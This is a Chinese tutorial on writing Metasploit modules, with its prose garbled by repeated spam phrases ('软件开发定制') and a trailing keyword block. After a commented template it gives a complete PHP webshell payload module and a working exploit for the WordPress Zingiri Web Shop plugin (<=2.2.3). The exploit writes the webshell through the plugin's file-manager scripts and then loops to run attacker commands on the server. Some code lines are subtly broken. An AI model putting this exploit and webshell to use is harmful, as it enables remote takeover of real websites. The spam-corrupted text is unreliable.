软件开发定制Metasploit Framework的 module 模板结构

Metasploit Framework简称msf，软件开发定制是一个平台，软件开发定制集成大量可用于渗透测试的模块，软件开发定制并且提供了模块的统一编写规范，软件开发定制可自行按照规范编写模块，软件开发定制并允许在自己的模块包软件开发定制含平台中的其他模块，软件开发定制最后把模块集成到 msf 中即可使用。因此，msf 既是一款工具，也是一个平台。

exploit模板

msf 的模块主要用 语言编写，为什么是主要呢？因为在新版本中也给出了 python 的模板。

以实现 exploit 模块为例子，官方给出的针对 web 服务的模板文件在 metasploit-framework/modules/exploits/example_webapp.rb。

简化一下模板：

  1. #
  2. # 编写一个web的exploit模块，首先要继承 Msf::Exploit::Remote；
  3. # 如果编写 auxiliary 模块，就继承 Msf::Auxiliary。
  4. #
  5. class MetasploitModule < Msf::Exploit::Remote
  6.   # Rank 表示这个模块的可靠性，根据目标范围、利用条件、利用难度设置的等级，NormalRanking表示
  7.   # 这个模块针对的是目标系统的特定版本，并且不能有效地自动探测。
  8.   Rank = NormalRanking
  9.  
  10.   #
  11.   # 这个模块针对的是 web 服务，因此需要包含 HttpClient 模块与目标服务器交互，包含之后
  12.   # 就给这个模块提供了几个参数的设置：RHOSTS、RPORT、SSL、VHOST。
  13.   # 如果用过 msf 的话，应该知道它们分别是目标的主机名，端口，是否开启SSL，HTTP-Host头部。
  14.   #
  15.   include Msf::Exploit::Remote::HttpClient
  16.  
  17.   # 初始化方法，模块加载时首先执行
  18.   def initialize(info = {})
  19.     super(
  20.       # 有关模块的描述信息
  21.       update_info(
  22.         info,
  23.         'Name'           => 'Sample Webapp Exploit',
  24.         'Description'    => %q(
  25.             This exploit module illustrates how a vulnerability could be exploited
  26.           in a webapp.
  27.         ),
  28.         'License'        => MSF_LICENSE,
  29.         'Author'         =>
  30.           [
  31.             'h00die <mike@stcyrsecurity.com>', # msf module
  32.             'researcher' # original PoC, analysis
  33.           ],
  34.         'References'     =>
  35.           [
  36.             [ 'OSVDB', '12345' ],
  37.             [ 'EDB', '12345' ],
  38.             [ 'URL', 'http://www.example.com'],
  39.             [ 'CVE', '1978-1234']
  40.           ],
  41.         'Platform'       => ['python'],
  42.         'Privileged'     => false,0
  43.         'Arch'           => ARCH_PYTHON,
  44.         'Targets'        =>
  45.           [
  46.             [ 'Automatic Target', {}]
  47.           ],
  48.         'DisclosureDate' => '2013-04-01',
  49.         
  50.         'DefaultTarget'  => 0
  51.       )
  52.     )
  53.     # 参数的注册，在这里可以为之前包含的模块设置默认参数，例如这里设置 HttpClient 的 RPORT，
  54.     # 也可以再添加一些需要的参数，以提供给后续运行的方法使用。
  55.     register_options(
  56.       [
  57.         Opt::RPORT(80),
  58.         OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
  59.         OptString.new('PASSWORD', [ false, 'Password to login with', '123456']),
  60.         OptString.new('TARGETURI', [ true, 'The URI of the Example Application', '/example/'])
  61.       ], self.class
  62.     )
  63.   end
  64.  
  65.   #
  66.   # check方法是在真正漏洞利用之前，检查目标系统是否满足漏洞利用的条件，例如主机是否在线、
  67.   # 软件版本、服务版本等等。
  68.   # 在 msf 执行 check 后，运行这个方法。
  69.   #
  70.   def check
  71.     # 
  72.     begin
  73.       .......
  74.     end
  75.     Exploit::CheckCode::Safe
  76.   end
  77.  
  78.   # exploit方法是编写漏洞利用代码的位置，这个方法用于完成整个漏洞利用的过程，例如给目标主机发送哪
  79.   # 些数据，根据目标的响应结果再发送哪些数据，等等。经过一次或多个的交互，完成漏洞利用。
  80.   # 在 msf 执行 exploit 或 run 后，运行这个方法。
  81.   def exploit
  82.     begin
  83.       .......
  84.     end
  85.  
  86.   end
  87. end

根据exp实现一个exploit模块

exp来源：

先实现一个 payload 模块，提供webshell的php代码：

  1. require 'msf/core'
  2. require 'msf/core/payload/php'
  3. require 'msf/core/handler/bind_tcp'
  4. require 'msf/base/sessions/command_shell'
  5. module MetasploitModule
  6.  
  7.   include Msf::Payload::Php
  8.   include Msf::Payload::Single
  9.  
  10.   def initialize(info = {})
  11.     super(merge_info(info,
  12.       'Name'          => 'PHP Simple Shell',
  13.       'Description'   => 'Get a simple php shell',
  14.       'Author'        => [ 'binghe911' ],
  15.       'License'       => BSD_LICENSE,
  16.       'Platform'      => 'php',
  17.       'Arch'          => ARCH_PHP,
  18.       'Privileged'    => false
  19.       ))
  20.   end
  21.  
  22.   # 返回 webshell 的php代码
  23.   def php_shell
  24.     shell = <<-END_OF_PHP_CODE
  25.     <?php error_reporting(0);print(_code_);passthru(base64_decode(\$_SERVER[HTTP_USER_AGENT]));die; ?>
  26.     END_OF_PHP_CODE
  27.     return Rex::Text.compress(shell)
  28.   end
  29.  
  30.   #
  31.   # Constructs the payload
  32.   #
  33.   def generate
  34.     return php_shell
  35.   end
  36. end

然后实现 exploit 模块，不详细介绍 exp 的原理，大概就是目标wordpress系统的 zingiri 插件存在创建任意代码的 php 脚本，导致可以写入 webshell：

  1. # 包含 msf 的核心代码，使用它所提供的模块
  2. require "msf/core"
  3. class MetasploitModule < Msf::Exploit::Remote
  4.   Rank = ExcellentRanking
  5.  
  6.   include Msf::Exploit::Remote::Tcp
  7.   include Msf::Exploit::Remote::HttpClient
  8.  
  9.   def initialize(info = {})
  10.     super(
  11.       update_info(
  12.         info,
  13.         'Name'           => 'Wordpress Zingiri Web Shop Plugin <= 2.2.3 Remote Code Execution Exploit',
  14.         'Description'    => %q{
  15.             This module exploits Remote Code Execution in the Wordpress,blogging software which install the Zingiri Web Shop plugin <=2.2.3 version
  16.         },
  17.         'License'        => MSF_LICENSE,
  18.         'Author'         =>
  19.           [
  20.             'lukesun629@gmail.com', # msf module
  21.             'lekusun629' # original PoC, analysis
  22.           ],
  23.         'References'     =>
  24.           [
  25.             
  26.           ],
  27.         'Platform'       => 'php',
  28.         'Privileged'     => false,
  29.         'Arch'           => ARCH_PHP,
  30.         'Targets'        =>
  31.           [
  32.             [ 'Automatic', {}]
  33.           ],
  34.         'DisclosureDate' => 'NOV9 2010',
  35.         'DefaultTarget'  => 0
  36.       )
  37.     )
  38.  
  39.     # 配置了要提供的参数 URI，有关 wordpress 的 path 路径。
  40.     register_options(
  41.       [
  42.         OptString.new('URI', [true, "The full URI path to Wordpress", "/"]),
  43.       ], self.class
  44.     )
  45.   end
  46.  
  47.  
  48.   def exploit
  49.     begin
  50.  
  51.       # 获取设置的参数
  52.       url = datastore['URI']
  53.       remotehsot = datastore['RHOST']
  54.  
  55.       # 以下进行 3 次请求-响应的交互，完成webshell的写入
  56.       res = send_request_cgi({
  57.         'uri'           => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajaxfilemanager.php",
  58.         'method'        => 'GET',
  59.         }
  60.       )
  61.  
  62.       directory = res.body.scan(/currentFolderPath" value="([^"]*)"/)
  63.       code = "selectedDoc[]=#{payload.encoded}&currentFolderPath=#{directory.first.first}"
  64.       res = send_request_cgi({
  65.           'method' => 'POST',
  66.           'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_file_cut.php",
  67.           'data' => "#{code}",
  68.       })
  69.       cookie = res.headers['Set-Cookie'].split(";")
  70.       dirname = Rex::Text.rand_text_alpha(8)
  71.       res = send_request_cgi({
  72.           'method' => 'POST',
  73.           'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_create_folder.php",
  74.           'data' => "new_folder=#{dirname}&currentFolderPath=#{directory.first.first}",
  75.       })
  76.       filename = Rex::Text.rand_text_alpha(8)
  77.       res = send_request_cgi({
  78.           'method' => 'POST',
  79.           'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/ajax_save_name.php",
  80.           'cookie' => "#{cookie[0]}",
  81.           'data' => "value=#{filename}&id=#{directory.first.first}#{dirname}",
  82.       })
  83.  
  84.       # 循环读取攻击者输入的命令，并发送到目标webshell中执行
  85.       while(1)
  86.         print "#"
  87.         cmd = gets
  88.         if cmd.include?("exit")
  89.           break
  90.         end
  91.         res = send_request_cgi({
  92.           'method' => 'GET',
  93.           'uri' => "#{url}/wp-content/plugins/zingiri-web-shop/fws/addons/tinymce/jscripts/tiny_mce/plugins/ajaxfilemanager/inc/data.php",
  94.           'agent' => "#{Rex::Text.encode_base64("#{cmd}")}\r\",
  95.         })
  96.         data = res.body.split("_code_")[1]
  97.         puts data.split("<!DOCTYPE")[0]
  98.       end
  99.     end
  100.   end
  101. end

测试

把上述编写好的模块文件放置在 msf 对应的目录中，

（1）exploit模块文件放在 metasploit-framework/modules/exploits/unix/webapp 目录中，并命名为 wordpress_zingiri_plugin.rb；

（2）payload模块文件放在 metasploit-framework/modules/payloads/singles/php 目录中，并命名为 php_shell.rb。

（3）启动 msfconsole，使用 wordpress_zingiri_plugin 模块，查看要配置的参数：

（4）配置参数，以及配置 payload：

 （5）运行模块:

相关资料链接：

网站建设定制开发 软件系统开发定制 定制软件开发 软件开发定制 定制app开发 app开发定制 app开发定制公司 电商商城定制开发 定制小程序开发 定制开发小程序 客户管理系统开发定制 定制网站 定制开发 crm开发定制 开发公司 小程序开发定制 定制软件 收款定制开发 企业网站定制开发 定制化开发 android系统定制开发 定制小程序开发费用 定制设计 专注app软件定制开发 软件开发定制定制 知名网站建设定制 软件定制开发供应商 应用系统定制开发 软件系统定制开发 企业管理系统定制开发 系统定制开发